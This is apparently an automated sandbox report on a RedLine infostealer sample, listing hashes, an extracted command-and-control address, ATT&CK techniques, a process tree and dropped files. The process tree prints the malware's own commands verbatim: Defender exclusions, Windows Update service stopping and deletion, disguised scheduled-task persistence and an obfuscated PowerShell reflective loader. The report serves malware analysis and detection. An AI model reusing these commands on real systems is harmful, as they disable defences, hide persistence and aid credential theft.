redline | d0d72bb86445f46afd1cff56e317543011d1d4a4b6ba18791b63b26a7282af7c

Analysis

max time kernel
86s
max time network
92s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
27/11/2022, 03:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup.exe
Size 212KB
Sample221127-d5cknsff65
SHA256 d0d72bb86445f46afd1cff56e317543011d1d4a4b6ba18791b63b26a7282af7c
MD5 9a753beb650c0d6827e05507349d5e2c
SHA1 3d2ff8f05f38d4ed25ceb0acdaccb7a77947553a
SHA512 c644e9d0ce686916012f69bfa206de460454a7f3edb923893e625d200a3a3701ac33bc2bdcd2602ff247475de55c043a9a7226cb64000a8a107afdea12d053fa
SSDEEP 6144:C0ZHhsUGfobUee60OB8coWdGe7/M7tp6:bzGfobUeY4hoWj7/M7
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline @norka16 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

@Norka16

79.137.204.112:80

Attributes

auth_value
3fd68ba186faa3cfc903b8bd9928c0f8

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/1736-57-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral1/memory/1736-62-0x0000000000422246-mapping.dmp	family_redline
behavioral1/memory/1736-63-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline
behavioral1/memory/1736-64-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1980 created 416	1980	powershell.EXE	3

Downloads MZ/PE file

Executes dropped EXE 4 IoCs

pid	Process
1584	brave.exe
848	ofg.exe
1400	chrome.exe
1432	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Loads dropped DLL 4 IoCs

pid	Process
1736	vbc.exe
1736	vbc.exe
1736	vbc.exe
1972	taskeng.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2000 set thread context of 1736	2000	setup.exe	28
PID 1584 set thread context of 540	1584	brave.exe	58
PID 1980 set thread context of 428	1980	powershell.EXE	68

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	brave.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe

Launches sc.exe 7 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1544	sc.exe
1556	sc.exe
1720	sc.exe
360	sc.exe
2036	sc.exe
2040	sc.exe
936	sc.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
880	SCHTASKS.exe
692	schtasks.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b05279dd1902d901	powershell.EXE

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
1736	vbc.exe
1736	vbc.exe
316	powershell.exe
2044	powershell.exe
840	powershell.exe
1980	powershell.EXE
1980	powershell.EXE
428	dllhost.exe
428	dllhost.exe
428	dllhost.exe
428	dllhost.exe
428	dllhost.exe
428	dllhost.exe
428	dllhost.exe
428	dllhost.exe
1780	powershell.EXE
428	dllhost.exe
428	dllhost.exe
428	dllhost.exe
428	dllhost.exe
1604	powershell.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	1736	vbc.exe
Token: SeDebugPrivilege	316	powershell.exe
Token: SeShutdownPrivilege	1608	powercfg.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeShutdownPrivilege	1624	powercfg.exe
Token: SeShutdownPrivilege	1168	powercfg.exe
Token: SeShutdownPrivilege	1760	powercfg.exe
Token: SeDebugPrivilege	840	powershell.exe
Token: SeDebugPrivilege	1980	powershell.EXE
Token: SeDebugPrivilege	1980	powershell.EXE
Token: SeDebugPrivilege	428	dllhost.exe
Token: SeDebugPrivilege	1780	powershell.EXE
Token: SeAuditPrivilege	896	svchost.exe
Token: SeDebugPrivilege	1604	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 1736	2000	setup.exe	28
PID 2000 wrote to memory of 1736	2000	setup.exe	28
PID 2000 wrote to memory of 1736	2000	setup.exe	28
PID 2000 wrote to memory of 1736	2000	setup.exe	28
PID 2000 wrote to memory of 1736	2000	setup.exe	28
PID 2000 wrote to memory of 1736	2000	setup.exe	28
PID 1736 wrote to memory of 1584	1736	vbc.exe	30
PID 1736 wrote to memory of 1584	1736	vbc.exe	30
PID 1736 wrote to memory of 1584	1736	vbc.exe	30
PID 1736 wrote to memory of 1584	1736	vbc.exe	30
PID 1736 wrote to memory of 848	1736	vbc.exe	31
PID 1736 wrote to memory of 848	1736	vbc.exe	31
PID 1736 wrote to memory of 848	1736	vbc.exe	31
PID 1736 wrote to memory of 848	1736	vbc.exe	31
PID 848 wrote to memory of 880	848	ofg.exe	32
PID 848 wrote to memory of 880	848	ofg.exe	32
PID 848 wrote to memory of 880	848	ofg.exe	32
PID 848 wrote to memory of 880	848	ofg.exe	32
PID 1736 wrote to memory of 1400	1736	vbc.exe	34
PID 1736 wrote to memory of 1400	1736	vbc.exe	34
PID 1736 wrote to memory of 1400	1736	vbc.exe	34
PID 1736 wrote to memory of 1400	1736	vbc.exe	34
PID 1584 wrote to memory of 316	1584	brave.exe	35
PID 1584 wrote to memory of 316	1584	brave.exe	35
PID 1584 wrote to memory of 316	1584	brave.exe	35
PID 1584 wrote to memory of 1524	1584	brave.exe	37
PID 1584 wrote to memory of 1524	1584	brave.exe	37
PID 1584 wrote to memory of 1524	1584	brave.exe	37
PID 1584 wrote to memory of 764	1584	brave.exe	38
PID 1584 wrote to memory of 764	1584	brave.exe	38
PID 1584 wrote to memory of 764	1584	brave.exe	38
PID 1584 wrote to memory of 2044	1584	brave.exe	39
PID 1584 wrote to memory of 2044	1584	brave.exe	39
PID 1584 wrote to memory of 2044	1584	brave.exe	39
PID 1524 wrote to memory of 936	1524	cmd.exe	43
PID 1524 wrote to memory of 936	1524	cmd.exe	43
PID 1524 wrote to memory of 936	1524	cmd.exe	43
PID 764 wrote to memory of 1608	764	cmd.exe	44
PID 764 wrote to memory of 1608	764	cmd.exe	44
PID 764 wrote to memory of 1608	764	cmd.exe	44
PID 1524 wrote to memory of 1544	1524	cmd.exe	45
PID 1524 wrote to memory of 1544	1524	cmd.exe	45
PID 1524 wrote to memory of 1544	1524	cmd.exe	45
PID 1524 wrote to memory of 1556	1524	cmd.exe	46
PID 1524 wrote to memory of 1556	1524	cmd.exe	46
PID 1524 wrote to memory of 1556	1524	cmd.exe	46
PID 764 wrote to memory of 1624	764	cmd.exe	47
PID 764 wrote to memory of 1624	764	cmd.exe	47
PID 764 wrote to memory of 1624	764	cmd.exe	47
PID 1524 wrote to memory of 1720	1524	cmd.exe	48
PID 1524 wrote to memory of 1720	1524	cmd.exe	48
PID 1524 wrote to memory of 1720	1524	cmd.exe	48
PID 764 wrote to memory of 1168	764	cmd.exe	49
PID 764 wrote to memory of 1168	764	cmd.exe	49
PID 764 wrote to memory of 1168	764	cmd.exe	49
PID 1524 wrote to memory of 360	1524	cmd.exe	50
PID 1524 wrote to memory of 360	1524	cmd.exe	50
PID 1524 wrote to memory of 360	1524	cmd.exe	50
PID 1524 wrote to memory of 836	1524	cmd.exe	51
PID 1524 wrote to memory of 836	1524	cmd.exe	51
PID 1524 wrote to memory of 836	1524	cmd.exe	51
PID 764 wrote to memory of 1760	764	cmd.exe	52
PID 764 wrote to memory of 1760	764	cmd.exe	52
PID 764 wrote to memory of 1760	764	cmd.exe	52

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:476

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:460
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:452
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1108
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1640
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1160
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1056
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:292
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:896
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {D3F375FD-6052-4DC8-98D6-C6B731D34CFE} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Loads dropped DLL
    PID:1972
  - - C:\Program Files\Google\Chrome\updater.exe
      "C:\Program Files\Google\Chrome\updater.exe"
      4⤵
      Executes dropped EXE
      PID:1432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1604
    - - C:\Windows\system32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:1416
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:2036
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:2040
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        5⤵
        
        PID:1140
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        6⤵
        
        PID:1004
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        6⤵
        
        PID:2000
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        6⤵
        
        PID:1376
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        5⤵
        
        PID:700
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe xtrjicqmdliu
        5⤵
        
        PID:2008
      - C:\Windows\system32\cmd.exe
        
        cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        6⤵
        
        PID:1748
    - - C:\Windows\system32\cmd.exe
        
        cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
        5⤵
        
        PID:1880
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
      4⤵
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1780
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1980
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:860
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:820
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  PID:756
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:680
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:600

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:416
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{26441615-2079-46a6-a90a-a43b1c307a05}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:428
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{cc293cd8-a808-4774-a1d2-8d036f87480a}
  2⤵
  PID:628

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:484

\\?\C:\Windows\system32\wbem\WMIADAP.EXE
wmiadap.exe /F /T /R
1⤵
PID:1128

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1284
- C:\Users\Admin\AppData\Local\Temp\setup.exe
  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:2000
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Users\Admin\AppData\Local\Google\brave.exe
      "C:\Users\Admin\AppData\Local\Google\brave.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Program Files directory
      Suspicious use of WriteProcessMemory
      PID:1584
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:316
    - - C:\Windows\system32\cmd.exe
        
        cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1524
      - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        6⤵
        Launches sc.exe
        
        PID:936
      - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        6⤵
        Launches sc.exe
        
        PID:1544
      - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:1556
      - C:\Windows\system32\sc.exe
        
        sc stop bits
        6⤵
        Launches sc.exe
        
        PID:1720
      - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        6⤵
        Launches sc.exe
        
        PID:360
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        6⤵
        
        PID:836
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        6⤵
        
        PID:1748
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        6⤵
        Modifies security service
        
        PID:1328
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        6⤵
        
        PID:1040
      - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        6⤵
        
        PID:908
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:764
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1608
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1624
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1168
      - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1760
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2044
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
        6⤵
        Creates scheduled task(s)
        
        PID:692
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        Drops file in Windows directory
        
        PID:540
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:840
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        6⤵
        
        PID:1908
  - - C:\Users\Admin\AppData\Local\Google\ofg.exe
      "C:\Users\Admin\AppData\Local\Google\ofg.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:848
    - - C:\Windows\SysWOW64\SCHTASKS.exe
        
        SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
        5⤵
        Creates scheduled task(s)
        
        PID:880
  - - C:\Users\Admin\AppData\Local\Google\chrome.exe
      "C:\Users\Admin\AppData\Local\Google\chrome.exe"
      4⤵
      Executes dropped EXE
      PID:1400

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
PID:1232

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-13992103481130764492756561900-4381704091267318372258492039-1385709780-684252824"
1⤵
PID:960

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "14198328562045855249-72565582370176955610915091102090740807-178178359-1359228766"
1⤵
PID:1388

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 2.8MB
SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
MD5 eb27bb8cfa99d659e4fe023e9002ecd1
SHA1 c783400302fdfae0518269c5a5a8d4bad29f42a3
SHA512 ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

brave.exe

Path C:\Users\Admin\AppData\Local\Google\brave.exe
Size 2.8MB
SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
MD5 9253ed091d81e076a3037e12af3dc871
SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

brave.exe

Path C:\Users\Admin\AppData\Local\Google\brave.exe
Size 2.8MB
SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
MD5 9253ed091d81e076a3037e12af3dc871
SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome.exe

Path C:\Users\Admin\AppData\Local\Google\chrome.exe
Size 6.1MB
SHA256 66552cbe03b205cba08a2524fb93303dec5edf51188758b08d12624db1ee73e1
MD5 8cd1ea50f8f4c45055400e70da52b326
SHA1 40af98091e8c32ce9c90502b3d851ebc231cacf9
SHA512 b0be3acccf8ce64343b10e33b7cd5e7292164259d65c07e0c63c08dc05bfa0cf268290b3a37f20f6afa81d7163be8c90ac9ae9a7fb93c3e61cbc08310a2beaf1
SSDEEP 98304:Zr+dbd33oSpsJu9oR+bY11UhoIwBOqF85EiqrvBb2s4U5OoNkI9xFvPrBtOs6ha:x+BzpWu891ZDBOr+iqrpbTLp/U
MD5 SHA1 SHA512 SSDEEP

Submit Download

ofg.exe

Path C:\Users\Admin\AppData\Local\Google\ofg.exe
Size 86KB
SHA256 95903d8c2d48c4c0667e41878807f646f7648a33ed25d0eb433aab41c25e31a4
MD5 33dad992607d0ffd44d2c81fe67f8fb1
SHA1 e5b67dc05505fb1232504231f41cba225c282d3c
SHA512 444973b44292c433a07e5f75f6580ea71799b1f835677bc5b2e42af6b567a2f70f1b038f019d250a18216701ccf901b300632487eebcc1113ac803edb43159e4
SSDEEP 1536:apyR0Fl1K6g0e8hsEvKAxtE4zo8Sw7Ky7NGHjQR54z5sW0cd/cbPpGA/uYEmsn:a9l1Ed8hsEfLoBw7p7B54p/uPpGA/VEr
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
